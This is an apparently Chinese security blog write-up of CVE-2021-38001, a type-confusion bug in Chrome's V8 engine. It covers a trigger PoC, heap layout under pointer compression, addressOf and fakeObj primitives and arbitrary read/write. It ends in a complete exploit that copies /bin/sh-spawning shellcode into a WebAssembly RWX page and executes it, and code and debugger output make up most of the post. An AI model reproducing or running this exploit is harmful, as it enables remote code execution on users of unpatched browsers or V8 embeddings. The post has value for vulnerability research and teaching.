<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2021-38001漏洞利用

    VSole2022-09-18 17:13:26

    受影響的Chrome最高版本為:95.0.4638.54

    受影響的V8最高版本為:9.5.172.21

    issue編號:1260577

    POC

    import('./1.mjs').then((m1) => {    var f64 = new Float64Array(1);    var bigUint64 = new BigUint64Array(f64.buffer);    var u32 = new Uint32Array(f64.buffer);     function d2u(v) {        f64[0] = v;        return u32;    }    function u2d(lo, hi) {        u32[0] = lo;        u32[1] = hi;        return f64[0];    }    function ftoi(f){        f64[0] = f;        return bigUint64[0];    }    function itof(i){        bigUint64[0] = i;        return f64[0];    }    class C {        m() {            return super.x;        }    }    obj_prop_ut_fake = {};    for (let i = 0x0; i < 0x11; i++) {        obj_prop_ut_fake['x' + i] = u2d(0x40404042, 0);    }    C.prototype.__proto__ = m1;    function trigger() {        let c = new C();         c.x0 = obj_prop_ut_fake;        let res = c.m();        return res;    }    for (let i = 0; i < 10; i++) {        trigger();    }    let evil = trigger();    %DebugPrint(evil);});
    

    漏洞利用

    運行后可以看出,evil 變量被當作一個整數直接打印了,這意味著 evil 似乎變成了一個指針,能夠指向任意一個對象了:

    DebugPrint: Smi: 0x20202021 (538976289)
    

    此處 0x20202021 * 2 = 0x40404042

    正好是我們設定的值。

    但目前我們還需要有辦法泄露地址,從可能讓 evil 指向一個合適的目標,顯然,我們目前缺少能夠泄露地址的手段,但回顧其上一章曾說過的,v8 對存儲的地址進行了壓縮,只保留了低 32 字節,那么實際情況會是什么樣的呢?先試著用一個簡單的腳本測試一下:

    a=[2.1]b=[a];arr = Array(0xf700);%DebugPrint(a);%DebugPrint(b);%DebugPrint(arr);
    DebugPrint: 0x54408049941: [JSArray]//第一次運行DebugPrint: 0x5440804995d: [JSArray]DebugPrint: 0x5440804996d: [JSArray] DebugPrint: 0x54008049941: [JSArray]//第二次運行DebugPrint: 0x5400804995d: [JSArray]DebugPrint: 0x5400804996d: [JSArray] DebugPrint: 0x3b0d08049941: [JSArray]//第三次運行DebugPrint: 0x3b0d0804995d: [JSArray]DebugPrint: 0x3b0d0804996d: [JSArray]
    

    盡管三次運行,每次打印的地址都不一樣,但如果只看其低 32bit 的話,這些地址是完全相同的。在地址壓縮的情況下,我們需要寫入的地址只需要低 32bit 即可,這意味著,我們不需要任何泄露也能夠讓 evil 指向一塊我們希望的地址,因為它們的低位不會因為 ASLR 而改變。

    V8下的堆噴技術

    網上一搜堆噴,首先出來的就是通過跳板指令去滑到 shellcode,但那種利用條件以目前的技術來看似乎基本上無法利用了,畢竟它要求堆是可讀可寫可執行的,才可能往里面插跳板指令,至少在 v8 中是不太可能,但通過開辟大內存塊來調整內存結構的思路是可以借用的。

    一般在 v8 的分析文章中常說的堆內存指的是如下這段內存:

    0x23200000000      0x2320014e000 r-xp   14e000 0      [anon_23200000]0x2320014e000      0x23200180000 ---p    32000 0      [anon_2320014e]0x23200180000      0x23200183000 rw-p     3000 0      [anon_23200180]0x23200183000      0x23200184000 ---p     1000 0      [anon_23200183]0x23200184000      0x2320019a000 r-xp    16000 0      [anon_23200184]0x2320019a000      0x232001bf000 ---p    25000 0      [anon_2320019a]0x232001bf000      0x23208000000 ---p  7e41000 0      [anon_232001bf]0x23208000000      0x2320802a000 r--p    2a000 0      [anon_23208000]0x2320802a000      0x23208040000 ---p    16000 0      [anon_2320802a]0x23208040000      0x2320814d000 rw-p   10d000 0      [anon_23208040]0x2320814d000      0x23208180000 ---p    33000 0      [anon_2320814d]0x23208180000      0x23208183000 rw-p     3000 0      [anon_23208180]0x23208183000      0x232081c0000 ---p    3d000 0      [anon_23208183]0x232081c0000      0x2320833e000 rw-p   17e000 0      [anon_232081c0]0x2320833e000      0x23300000000 ---p f7cc2000 0      [anon_2320833e]
    

    其中,以 0x2320833e000 地址開始的這段是尚未分配的內存區,而以 0x232081c0000 地址開始的則是剛剛分配出來的堆內存。

    并且可以注意到,這一大段內存都是地址連續的,因此我們可以通過開辟足夠大的內存塊來讓某個地址處的內存能夠讀寫,并且這個地址是我們已知的。那么問題就變成了,具體應該開辟多大的內存區?

    對比一下堆空間和網上能夠找到的資料,筆者用一段簡單的測試代碼說明:

    %SystemBreak(); arr = Array(0xf700);arr[0]=1;%DebugPrint(arr);%SystemBreak(); arr = Array(0xf700);arr[0]=2;%DebugPrint(arr);%SystemBreak();
    0x2f43081c0000     0x2f4308240000 rw-p    80000 0      [anon_2f43081c0]//第一個斷點0x2f4308240000     0x2f4400000000 ---p f7dc0000 0      [anon_2f4308240] 0x2f43081c0000     0x2f4308280000 rw-p    c0000 0      [anon_2f43081c0]//第二個斷點0x2f4308280000     0x2f4400000000 ---p f7d80000 0      [anon_2f4308280] 0x2f43081c0000     0x2f43082c0000 rw-p   100000 0      [anon_2f43081c0]//第三個斷點0x2f43082c0000     0x2f4400000000 ---p f7d40000 0      [anon_2f43082c0]
    

    似乎堆結構在以有規律的增長,接下來實際看一下內存中的狀況:

    pwndbg> x/10gx 0x2f43081c00000x2f43081c0000:    0x0000000000040000    0x00000000000000040x2f43081c0010:    0x000055775c5d9e68    0x00002f43081c21180x2f43081c0020:    0x00002f4308200000    0x000000000003dee80x2f43081c0030:    0x0000000000000000    0x00000000000021180x2f43081c0040:    0x000055775c65c210    0x000055775c5cbeb0 pwndbg> x/10gx 0x2f43081c0000+0x400000x2f4308200000:    0x0000000000040000    0x00000000000000040x2f4308200010:    0x000055775c5d9e68    0x00002f43082021180x2f4308200020:    0x00002f4308240000    0x000000000003dee80x2f4308200030:    0x0000000000000000    0x00000000000021180x2f4308200040:    0x000055775c65c870    0x000055775c5cbeb0 pwndbg> x/10gx 0x2f43081c0000+0x40000+0x400000x2f4308240000:    0x0000000000040000    0x00000000000000320x2f4308240010:    0x000055775c5d9e68    0x00002f43082421180x2f4308240020:    0x00002f430827fd20    0x000000000003dc080x2f4308240030:    0x0000000000000000    0x00000000000021180x2f4308240040:    0x000055775c65cd50    0x000055775c5cbeb0
    

    我們按照每次增長的地址空間大小去跟蹤內存,發現它們存在一定的規律,對照一些資料能夠大概得到這樣的結論:

    0x2f43081c0000:內存塊的大小

    0x2f43081c0018:內存塊可用空間的起始地址

    0x2f43081c0020:表示下一個內存塊的地址

    0x2f43081c0008:已被使用的內存大小(0x3dee8+0x2118=0x40000)

    0x2f43081c0038:元數據的占用大小

    再對比一下打印出來的數據信息:

    pwndbg> job 0x2f430804999d - elements: 0x2f4308242119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS] - length: 63232 - properties: 0x2f430800222d <FixedArray[0]> } - elements: 0x2f4308242119 <FixedArray[63232]> {           0: 1     1-63231: 0x2f430800242d <the_hole> } pwndbg> job 0x2f43080499ad - elements: 0x2f4308282119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS] - length: 63232 - properties: 0x2f430800222d <FixedArray[0]> } - elements: 0x2f4308282119 <FixedArray[63232]> {           0: 2     1-63231: 0x2f430800242d <the_hole> }
    

    可以發現,兩個 Array 的儲存數據地址 elements 都從 0x2119+自身堆地址 處開始,順序儲存,這意味著我們能夠通過固定的低位偏移得到這兩個數據的地址信息,因此甚至不需要泄露地址也能夠獲取 elements 的地址。

    這種思路和傳統的堆噴有些差別,因為它是通過開辟內存空間使得固定地址的內存可讀寫,而傳統堆噴則是通過開辟大內存使得隨機訪問能夠命中。

    利用思路

    既然我們能夠知道 Array 對象的 elements 成員地址,就能夠向其中偽造數據數據,將偽造的內容裝成一個對象,從而實現 addressOf 和 fakeObject,進而完成任意地址讀寫。

    首先,我們令 evil 指向一個新 Array 的 elements 中的 value ,然后在這個 Array 中布置數據進行偽造:

    ···for (let i = 0x0; i < 0x11; i++) {    obj_prop_ut_fake['x' + i] = u2d(0x082c2121, 0);}···var demo_array=new Array(0xf000);demo_ele_addr=0x82c2120;fake_buf=demo_ele_addr+0x200+8;array_map0 = itof(0x1604040408002119n); double_array_map_addr=demo_ele_addr+0x100;double_array_map_value=itof(0x0a0007ff11000834n); demo_array[0x100/8]=array_map0;demo_array[0x108/8]=double_array_map_value; obj_array_map_addr=demo_ele_addr+0x150;obj_array_map_value=itof(0x0a0007ff09000834n); demo_array[0x150/8]=array_map0;demo_array[0x158/8]=obj_array_map_value; demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);demo_array[0x008/8]=u2d(fake_buf+1,0x2);
    

    其中值得一提的是,map 的偽造過程:

    demo_ele_addr=0x82c2120;fake_buf=demo_ele_addr+0x200+8; array_map0 = itof(0x1604040408002119n);obj_array_map_value=itof(0x0a0007ff09000834n);obj_array_map_addr=demo_ele_addr+0x150; demo_array[0x150/8]=array_map0;demo_array[0x158/8]=obj_array_map_value; demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);demo_array[0x008/8]=u2d(fake_buf+1,0x2);
    

    我們的偽造目標地址是 &demo_array[0] ,上面的代碼和 C 的等價偽代碼為:

    *(demo_array) = obj_array_map_addr+1;*(demo_array+4) = 0;*(demo_array+8) = fake_buf+1;*(demo_array+12) = 2; *(obj_array_map_addr) = 0x0a0007ff09000834;
    

    這種操作是合法的,我們可以發現, obj_array_map_addr 的值是已知的,其值是筆者隨意聲明一個對象數組后在其 map 地址處實際拷貝出來的值,也就是說,map 值本身是固定的,和地址無關的,只需要讓指針指向該值,就會正常將其識別為對應的類型。

    map 結構體當然是地址有關的,但用以區分類型的值卻和地址無關,而在對變量進行取值或寫入時,只需要讀取 map 值而不需要其他的結構體成員。

    而我們令其 elements 指針指向 fake_buf ,length 值為 2,但又有些怪異的是,我們不需要偽造 elements 結構體的 map。

    結論是,向這個偽造的 elements 中寫入數據時,不需要讀取其 map 結構體,只需要上層的對象類型的寫入或讀取的參數相應即可。

    addressOf

    接下來就是嘗試如何去構造這個函數:

    function addressOf(target_var){   demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);   evil[0]=target_var;   demo_array[0x000/8]=u2d(double_array_map_addr+1,0);   let addr=ftoi(evil[0])-1n;   console.log("[*] addr: 0x"+hex(addr));   demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);   return addr;}
    

    首先,我們令 evil 的結構體的 map 為 obj array ,使其成為對象數組,將其放入以后,再轉回浮點數數組后即可讀取,同時在最后一步,我們又將其轉回了對象類型,這并沒有特殊的意義,單純是個人習慣。

    fakeObject

    function fakeObj(target_addr){    demo_array[0x000/8]=u2d(double_array_map_addr+1,0);    console.log("[*] set addr: 0x"+hex(target_addr));    //evil[0]=itof(target_addr+1n);    demo_array[0x210/8]=itof(target_addr+1n);    demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);    let vul=evil[0];    demo_array[0x000/8]=u2d(double_array_map_addr+1,0);    return vul;}
    

    這個操作和上面的 addressOf 函數相似,但注意到筆者此處注釋掉了一行代碼,它道理上似乎與下一行操作等價,但經過筆者的測試,這個操作會有些許差錯,導致寫入的數值不符合預期,但由于緩沖區本身也是我們偽造的,所以可以直接通過寫入 demo_array[0x210/8] 去改變 evil[0] 的數值。

    偽造對象

    雖說已經能夠讀取變量地址和偽造對象地址,但還沒涉及到具體的應用,這部分內容本就應該根據上面的兩個函數進行調整,并且,我們還沒有完全實現任意地址讀寫。

    var fake_array = [    u2d(double_array_map_addr+1, 0),    itof(0x4141414141414141n)];var fake_ob=addressOf(fake_array);fake_addr=fake_ob+0x20n+4n;var t=fakeObj(fake_addr); var wasmins=addressOf(wasmInstance);fake_array[1]=itof(wasmins+0x68n+1n-8n-8n);rwx_addr=ftoi(t[0]);console.log("[*] value: 0x"+hex(ftoi(t[0])));
    

    首先創建這樣一個浮點數數組,通過 addressOf 獲取其地址以后,我們就能夠通過計算獲取到 &fake_array[0] 的地址,那么我們就能夠將這個數組的內容偽造成一個新的對象,這樣我們就能隨意設置新對象的 elements 地址,如果我們讓 fake_array[0] 是浮點數數組的 map,那么就會讓這個偽造對象為浮點數數組,實現任意地址讀寫。

    接下來只需要調整便宜,讓 t[0] 讀取到 wasmInstance+0x68 處的新內存段地址即可。

    copy shellcode

    var shellcode = [    0x2fbb485299583b6an,    0x5368732f6e69622fn,    0x050f5e5457525f54n];function copy_shellcode(shellcode,addr){    var data_buf=new ArrayBuffer(shellcode.length*8);    var data_view=new DataView(data_buf);    var back_sotre_addr=addressOf(data_buf)+0x18n;    fake_array[1]=itof(back_sotre_addr-3n);    t[0]=itof(addr);    for (let i=0;i<shellcode.length;++i)        data_view.setFloat64(i*8,itof(shellcode[i]),true);}copy_shellcode(shellcode,rwx_addr);
    

    這一段的內容就同上面所描述的相似,代碼也并不是很長,讀者可以簡單理解一下。

    EXP

    import('./2.mjs').then((m1) => {    var f64 = new Float64Array(1);    var bigUint64 = new BigUint64Array(f64.buffer);    var u32 = new Uint32Array(f64.buffer);    wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);    var wasmModule = new WebAssembly.Module(wasmCode);    var wasmInstance = new WebAssembly.Instance(wasmModule, {});    var f = wasmInstance.exports.main;    function d2u(v) {        f64[0] = v;        return u32;    }    function u2d(lo, hi) {        u32[0] = lo;        u32[1] = hi;        return f64[0];    }    function ftoi(f){        f64[0] = f;        return bigUint64[0];    }    function itof(i){        bigUint64[0] = i;        return f64[0];    }    function hex(i){        return i.toString(16).padStart(8, "0");    }    class C {        m() {            return super.x;        }    }    obj_prop_ut_fake = {};    for (let i = 0x0; i < 0x11; i++) {        obj_prop_ut_fake['x' + i] = u2d(0x082c2121, 0);    }    C.prototype.__proto__ = m1;    function trigger() {        let c = new C();         c.x0 = obj_prop_ut_fake;        let res = c.m();        return res;    }    for (let i = 0; i < 10; i++) {        trigger();    }    let evil = trigger();     var demo_array=new Array(0xf000);    var demo_array=new Array(0xf000);    demo_ele_addr=0x82c2120;    fake_buf=demo_ele_addr+0x200+8;    array_map0 = itof(0x1604040408002119n);     double_array_map_addr=demo_ele_addr+0x100;    double_array_map_value=itof(0x0a0007ff11000834n);     demo_array[0x100/8]=array_map0;    demo_array[0x108/8]=double_array_map_value;     obj_array_map_addr=demo_ele_addr+0x150;    obj_array_map_value=itof(0x0a0007ff09000834n);     demo_array[0x150/8]=array_map0;    demo_array[0x158/8]=obj_array_map_value;     demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);    demo_array[0x008/8]=u2d(fake_buf+1,0x2);     function addressOf(target_var){       demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);       evil[0]=target_var;       demo_array[0x000/8]=u2d(double_array_map_addr+1,0);       let addr=ftoi(evil[0])-1n;       console.log("[*] addr: 0x"+hex(addr));       demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);       return addr;    }     var fake_array = [        u2d(double_array_map_addr+1, 0),        itof(0x4141414141414141n)    ];    function fakeObj(target_addr){        demo_array[0x000/8]=u2d(double_array_map_addr+1,0);        console.log("[*] set addr: 0x"+hex(target_addr));        demo_array[0x210/8]=itof(target_addr+1n);        demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);        let vul=evil[0];        demo_array[0x000/8]=u2d(double_array_map_addr+1,0);        return vul;    }     var wasmins=addressOf(wasmInstance);    var fake_ob=addressOf(fake_array);    fake_addr=fake_ob+0x20n+4n;    var t=fakeObj(fake_addr);    console.log("[*] addr: 0x"+hex(fake_addr));    fake_array[1]=itof(wasmins+0x68n+1n-8n-8n);     rwx_addr=ftoi(t[0]);    console.log("[*] value: 0x"+hex(ftoi(t[0])));     function copy_shellcode(shellcode,addr){        var data_buf=new ArrayBuffer(shellcode.length*8);        var data_view=new DataView(data_buf);        var back_sotre_addr=addressOf(data_buf)+0x18n;        fake_array[1]=itof(back_sotre_addr-3n);        t[0]=itof(addr);        for (let i=0;i<shellcode.length;++i)            data_view.setFloat64(i*8,itof(shellcode[i]),true);    }     var shellcode = [        0x2fbb485299583b6an,        0x5368732f6e69622fn,        0x050f5e5457525f54n    ];     copy_shellcode(shellcode,rwx_addr);    f();});
    
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    CVE-2021-38001漏洞利用
    2022-09-18 17:13:26
    漏洞利用運行后可以看出,evil 變量被當作一個整數直接打印了,這意味著 evil 似乎變成了一個指針,能夠指向任意一個對象了:DebugPrint: Smi: 0x20202021 . 但目前我們還需要有辦法泄露地址,從可能讓 evil 指向一個合適的目標,顯然,我們目前缺少能夠泄露地址的手段,但回顧其上一章曾說過的,v8 對存儲的地址進行了壓縮,只保留了低 32 字節,那么實際情況會是什么樣的呢?
    谷歌Chrome瀏覽器于10月28日推送了95.0.4638.69版緊急更新,目前,這一更新已經向 Windows、Mac、Linux版Chrome瀏覽器推送。 在新的版本里,Chrome修復了在前不久結束的“天府杯”國際網絡安全大賽上發現的兩套Chrome full chain漏洞,谷歌Chrome也再次成為對“天府杯”最早響應的廠商。
    攻擊者通常利用免費漏洞在運行未打補丁的Chrome版本的計算機上執行任意代碼或逃離瀏覽器的安全沙箱。雖然谷歌表示他們檢測到該零日漏洞正在被瘋狂攻擊且濫用中,但它沒有分享有關這些事件的更多信息。在瀏覽器供應商發布有關此漏洞的更多詳細信息之前,用戶應該有足夠的時間來升級Chrome并防止攻擊嘗試。今年Chrome第十六零日漏洞修復通過這次更新,谷歌已經解決了今年年初以來的第16個Chrome零日漏洞
    包括電網惡意軟件Industroyer2深入分析、全新Android漏洞利用鏈披露、現代安全芯片漏洞研究、APT雇傭兵披露、近五年CI/CD違規真實案例分析……
    每年8月,來自世界各地的安全和黑客社區成員云集內華達州拉斯維加斯,參加一年一度的Black Hat黑客大會,并進行技能培訓、攻擊演示、研究成果及新品展示。
    在研究人員私下警告之后,Valve 修復了一個 Dota 2 的高危漏洞。該漏洞位于 Dota 2 使用的開源 JS 引擎 V8 中,它是在 2021 年發現的,跟蹤編號 CVE-2021-38003,Google 在 2021 年 10 月修復了漏洞,但 Valve 直到上個月才修復,期間隔了 15 個月。安全公司 Avast 的研究人員發現,已經有一名黑客利用修補的拖延而發布了 4 個自定義游戲模式利用漏洞。Dota 2 支持自定義游戲模式,用戶通過一個驗證流程遞交自己開發的自定義模式后可以公開發布供其他玩家下載。
    Reddit 稱泄露的主要是企業聯系人以及前和現員工的聯絡信息,它建議用戶為保護賬號安全啟用 2FA。針對此事件,公司已實施額外的網絡安全措施,重置所有公司密碼,并通知執法部門。蘋果表示已經有證據表明,黑客已經利用漏洞發起攻擊。該漏洞是一個類型混淆問題,蘋果表示已通過改進檢查解決了該問題。
    2月13日消息,未知的威脅行為者為 Dota 2 游戲創建了惡意游戲模式,這些模式可能已經被利用來建立對玩家系統的后門訪問。ek在上周發布的一份報告中說。目前,游戲發行商Valve已經在202年1月12日的更新版本中修復了該漏洞。雖然向Steam商店發布自定義游戲模式需要經過Valve的審查,但威脅行為者還是成功地繞過了審查。Avast表示,目前還不知道開發者創建這些游戲模式背后的最終目的是什么。
    攻擊者創建的惡意游戲模式能夠使其遠程執行命令,并有可能在被感染的設備上安裝更多的惡意軟件。
    2023年,數據泄露和網絡攻擊事件仍然頻發,涉及面廣,影響力大,很多全球知名的企業組織也因此面臨著監管合規與社會輿情的雙重壓力。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类